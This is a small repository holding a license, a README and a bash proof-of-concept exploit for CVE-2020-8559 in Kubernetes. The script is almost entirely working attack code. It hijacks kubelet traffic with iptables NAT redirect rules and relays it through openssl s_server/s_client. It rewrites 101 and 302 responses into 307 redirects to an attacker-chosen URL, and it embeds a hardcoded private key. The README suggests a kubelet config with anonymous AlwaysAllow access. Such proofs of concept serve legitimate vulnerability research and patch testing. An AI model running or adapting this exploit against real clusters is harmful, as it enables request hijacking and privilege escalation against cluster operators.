├── LICENSE.txt ├── README.md └── poc-2020-8559.sh /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright 2020 Tabitha Sable 2 | 3 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 4 | 5 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 6 | 7 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 8 | 9 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # POC-2020-8559 2 | 3 | Exploit for CVE-2020-8559. We steal all the connections to the kubelet using iptables then rewrite the 101 or 302 responses to 307. The 101s are for modern Kubernetes versions, the 302s are for older ones. 4 | 5 | We don't have access to the kube-apiserver's x509 cert, so kubelet webhook auth can be a problem. No problem with this kubelet config fragment, which basically re-enables the old-time kubelet-exploit: 6 | 7 | ``` 8 | authentication: 9 | anonymous: 10 | enabled: true 11 | authorization: 12 | mode: AlwaysAllow 13 | ``` 14 | -------------------------------------------------------------------------------- /poc-2020-8559.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | # POC-2020-8559 4 | # Simple exploit for CVE-2020-8559. We steal 5 | # all the connections to the kubelet using iptables 6 | # then rewrite the 101 or 302 responses to 307. 7 | # 8 | # We don't have access to the kube-apiserver's 9 | # x509 cert, so kubelet webhook auth can be a 10 | # problem. No problem with this config fragment: 11 | #authentication: 12 | # anonymous: 13 | # enabled: true 14 | #authorization: 15 | # mode: AlwaysAllow 16 | 17 | ######################################## 18 | # Parse options 19 | 20 | # defaults 21 | outputchain="no" 22 | targeturl="http://127.0.0.1:8080/honk" 23 | kubelethostport="127.0.0.1:10250" 24 | honkhostport="0.0.0.0:20250" 25 | certfile="" 26 | privkeyfile="" 27 | 28 | ishostport() { 29 | echo "${1}" | grep "^[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\:[0-9][0-9]*$" >> /dev/null 30 | exit $? 31 | } 32 | 33 | usage() { 34 | cat <<-EOF 35 | Usage: $0 [-o] [-t targeturl] [-k kubelethostport] [-h honkhostport] [-c certfile] [-p privatekeyfile] 36 | -o Redirect OUTPUT chain, in addition to PREROUTING. 37 | Needed for testing on single-node clusters. 38 | 39 | Defaults: 40 | targeturl: ${targeturl} 41 | kubelethostport: ${kubelethostport} 42 | honkhostport: ${honkhostport} 43 | certfile: (hardcoded tempfile) 44 | privatekeyfile: (hardcoded tempfile) 45 | 46 | EOF 47 | } 48 | 49 | while getopts ":t:k:h:c:p:o" opt; do 50 | case "${opt}" in 51 | o ) 52 | outputchain="yes" 53 | ;; 54 | t ) 55 | targeturl="${OPTARG}" 56 | ;; 57 | k ) 58 | if `ishostport "${OPTARG}"` ; then 59 | kubelethostport="${OPTARG}" 60 | else 61 | usage 62 | echo 63 | echo "-k requires an argument of the form X.X.X.X:YYY" 64 | exit 1 65 | fi 66 | ;; 67 | h ) 68 | if `ishostport "${OPTARG}"` ; then 69 | honkhostport="${OPTARG}" 70 | else 71 | usage 72 | echo 73 | echo "-k requires an argument of the form X.X.X.X:YYY" 74 | exit 1 75 | fi 76 | ;; 77 | c ) 78 | if [ -r "${OPTARG}" ]; then 79 | certfile="${OPTARG}" 80 | else 81 | usage 82 | echo 83 | echo "-c requires a cert file" 84 | exit 1 85 | fi 86 | ;; 87 | p ) 88 | if [ -r "${OPTARG}" ]; then 89 | privkeyfile="${OPTARG}" 90 | else 91 | usage 92 | echo 93 | echo "-p requires a private key file" 94 | exit 1 95 | fi 96 | ;; 97 | : ) 98 | usage 99 | exit 1 100 | ;; 101 | \? ) 102 | usage 103 | exit 1 104 | ;; 105 | esac 106 | shift $((OPTIND -1)) 107 | done 108 | 109 | kubeletport=`echo "${kubelethostport}" | sed 's/^[0-9\.]*://'` 110 | honkport=`echo "${honkhostport}" | sed 's/^[0-9\.]*://'` 111 | 112 | # OpenSSL < 1.1 -accept requires only the port number 113 | openssl s_server --help 2>&1 | grep 'port to accept on (default is 4433)' > /dev/null 114 | if [ $? -eq 0 ]; then 115 | honkhostport="${honkport}" 116 | fi 117 | 118 | ######################################## 119 | # Set up our firewall rules 120 | 121 | if [ x"${outputchain}" == "xyes" ]; then 122 | iptables -t nat -I OUTPUT 1 -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}" 123 | if [ $? -ne 0 ]; then 124 | echo "Couldn't set OUTPUT iptables rule" 125 | exit 255 126 | fi 127 | fi 128 | 129 | iptables -t nat -I PREROUTING 1 -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}" 130 | if [ $? -ne 0 ]; then 131 | if [ x"${outputchain}" == "xyes" ]; then 132 | iptables -t nat -D OUTPUT -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}" 133 | fi 134 | echo "Couldn't set PREROUTING iptables rule" 135 | exit 255 136 | fi 137 | 138 | ######################################## 139 | # Prep some work files 140 | 141 | cleanup() { 142 | if [ x"${outputchain}" == "xyes" ]; then 143 | iptables -t nat -D OUTPUT -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}" 144 | fi 145 | iptables -t nat -D PREROUTING -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}" 146 | rm -r "${workdir}" 147 | exit 1 148 | } 149 | 150 | trap cleanup INT 151 | 152 | workdir=`mktemp -d` 153 | fifo="${workdir}/fifo" 154 | mkfifo "${fifo}" 155 | 156 | if [ -z "${certfile}" ]; then 157 | certfile="${workdir}/cert.pem" 158 | cat <<-EOF > "${certfile}" 159 | -----BEGIN CERTIFICATE----- 160 | MIIDETCCAfkCFDGJub2NUVs9GXPCEmlLlLIg2LNOMA0GCSqGSIb3DQEBCwUAMEUx 161 | CzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRl 162 | cm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMjAwNzE3MjE0MzQxWhcNMzAwNzE1MjE0 163 | MzQxWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UE 164 | CgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOC 165 | AQ8AMIIBCgKCAQEArBTx9aIRlB/crQrW12+C0Y2DW/XEUgjIyW2Oun/JxcOM07tV 166 | slFUTmpsGbsaArnkhGrzEh3m4cuF3jpvSCdDTPt1pIstNnjKYCBXmKlQjJCDaVXc 167 | SY9P85ZMJfrfmJFrKljaOigCj8eJTae0mwFH6A/oER0MmPo6PnyNtrC31LV581ro 168 | jBLyoZZdTSpyOIFzoEqndKAb+HsD7s7JCv+8HiYNa+qaDB4QR7x4wqq/Pgoa30/Y 169 | s/sFJf9jPGGH/J76jUds724wuIOEe7KQ5hVff+/zbjtEWknrza50rTGU7wcr/3gh 170 | zJqCKzD4Xx/nJduBWujKD4uVQqvQOIGiprSK1QIDAQABMA0GCSqGSIb3DQEBCwUA 171 | A4IBAQAFscLn8zbFTuEPDQIV42o/K4tgq+Tlt3yLTXvvfi1oG5gJTLeWS7IxOzd7 172 | PJVodJwOYA5bTq4Ng3xKUpjAcVeX1ZcMVTSKJtyiBP5IKIwMgB6H9vIvzSL0W2qr 173 | 9ONDQqr22C6INOQ+0xtqFtuMs4jeS14ptQRiQwVQ/HtVB4+ONsdN21oerB9lthor 174 | yU1r7vn1EiyHACWPEHJQH/ImjQC9M57XtXROMWYQuo+Olbo6B3RwpPjMGeQ5NLV8 175 | bVLjaPB+gNMy/h7x61PY/bJrEwOnqOEIOkHUMSn+YqwZMT4oELRoexTDFz3BtAxk 176 | P+hBfSAW9yrUS6VDy9srW9PkIhqy 177 | -----END CERTIFICATE----- 178 | -----BEGIN PRIVATE KEY----- 179 | MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCsFPH1ohGUH9yt 180 | CtbXb4LRjYNb9cRSCMjJbY66f8nFw4zTu1WyUVROamwZuxoCueSEavMSHebhy4Xe 181 | Om9IJ0NM+3Wkiy02eMpgIFeYqVCMkINpVdxJj0/zlkwl+t+YkWsqWNo6KAKPx4lN 182 | p7SbAUfoD+gRHQyY+jo+fI22sLfUtXnzWuiMEvKhll1NKnI4gXOgSqd0oBv4ewPu 183 | zskK/7weJg1r6poMHhBHvHjCqr8+ChrfT9iz+wUl/2M8YYf8nvqNR2zvbjC4g4R7 184 | spDmFV9/7/NuO0RaSevNrnStMZTvByv/eCHMmoIrMPhfH+cl24Fa6MoPi5VCq9A4 185 | gaKmtIrVAgMBAAECggEAOEz6BQWrfq0WBD+hnwbK5EjKi5HTU4uwNcb0haw9lciv 186 | EK8gEKFvVeCX0atXjUDItVJQiMLjwUhXWigANLkz2cID8XvfpQzMGbs7LaVnxzWY 187 | 6SPAWQjcfbPU4jA8a6xYRZigfZqNjAEauR9/hZ9bqV9a7A53Cq4D1GHn87fJzXux 188 | MzdDF6JumWtcqM+rmiPKhbSf+6Blxypee7p3oOa232MjZCRXRFUhdNIepoVvTmh6 189 | jigMlMtIlS0F1Ak3uA2SCQhqHdhWd6lkeFZigR9fIl+GyG4rcBaWwkZN5xwrWONI 190 | gl/L9eu6Ndt7yEvUf4vI2nW4ryZOyj/pMwajJYQOGQKBgQDW7ZJUbxVbyG9gTUql 191 | cYf8KwUH/PZ1NPY9ciZuLia9loep1pAnpx9wA+ZD6ZEjzbWJxbWEUbjl17kgtU+Y 192 | F8d0uujvHOgSIrAktMgBGom4SOLNmWXnau5G92r32S3q/R5b3zowo8nfrPfUrB2H 193 | CQZQ53YGCgSAbdIzTXCoIS/nRwKBgQDM907FdYmJnxSf96Hav5RVdhgRE+Ty0lJM 194 | +AB/Z3UdHeKZpxMChCzPL8KVsOlmGKznvz1o+xTbORlbRt9dmY/WvQQ3sEDF4Irz 195 | D+DbZl/VU8Tm43Wi3yTtrffWvLtnBm/yqH0ANMgh6boutbZQN5K7IjUM41JuJ12G 196 | DjF/tpkDAwKBgDlicQFuL0u0NliGCnol1+LyMYOyfLNKkrxRMAWW+O0BtfMYwKB1 197 | tKUZxW84e3INyHyidxZ/I1jqwhkDj97R6oU2Kl89XpEJBfKm+gehaEf13eh7HoQt 198 | PrVf9gV6zRHCx0pMTaMS+CFqczkrQy78r90GD7MJFa6co9TixkN9qOadAoGAS86g 199 | LLn3H5Zdu3iMPWqkAyPFbPONtx2A4QTMslJiZ115RNkdV83pAMwqTND80g0ITkJW 200 | BTDwGtC4hyDkVisInySTncErg8QzwAg8YwkvIqhz5+1ywcWEVAAG7T4qlcU0vGwC 201 | p4PeDWTzvnjosCyNsXbKZjThdOpMVduEBTdUyl8CgYEAsENT/xtl9AcWMpYul65g 202 | 1lEG1judUdl+gfiU7NOlttv1ExF0Yu+0LG30VYwDxCsmsJZSv2fdMasrUlLEV7DI 203 | DwHzdZHFICyE9ab3oZ3la5BXuXEOVzJ9psTEt8ERbnI/Vd7CM4T2ngeTgxzxeuzF 204 | 6VgR/gjAITdpN96t/kLOVjE= 205 | -----END PRIVATE KEY----- 206 | EOF 207 | fi 208 | 209 | if [ -z "${privkeyfile}" ]; then 210 | privkeyfile="${certfile}" 211 | fi 212 | 213 | ######################################## 214 | # Loop forever, ferrying one TLS connection 215 | # to the kubelet per invocation. 216 | 217 | while true; do 218 | openssl s_server -accept "${honkhostport}" -cert "${certfile}" -key "${privkeyfile}" -quiet -no_ign_eof -naccept 1 <"${fifo}" | \ 219 | openssl s_client -connect "${kubelethostport}" -quiet -no_ign_eof | \ 220 | sed -u -e 's/^Location.*$/X-Honk: Honk\r/' -e 's| [13]0[12] [SF][wo][iu][tn][cd].*$| 307 Temporary Redirect\r\nLocation: '"${targeturl}"'\r|' -e 's/^Connection.*$/X-Honk: Honk\r/' >> "${fifo}" 221 | done 222 | --------------------------------------------------------------------------------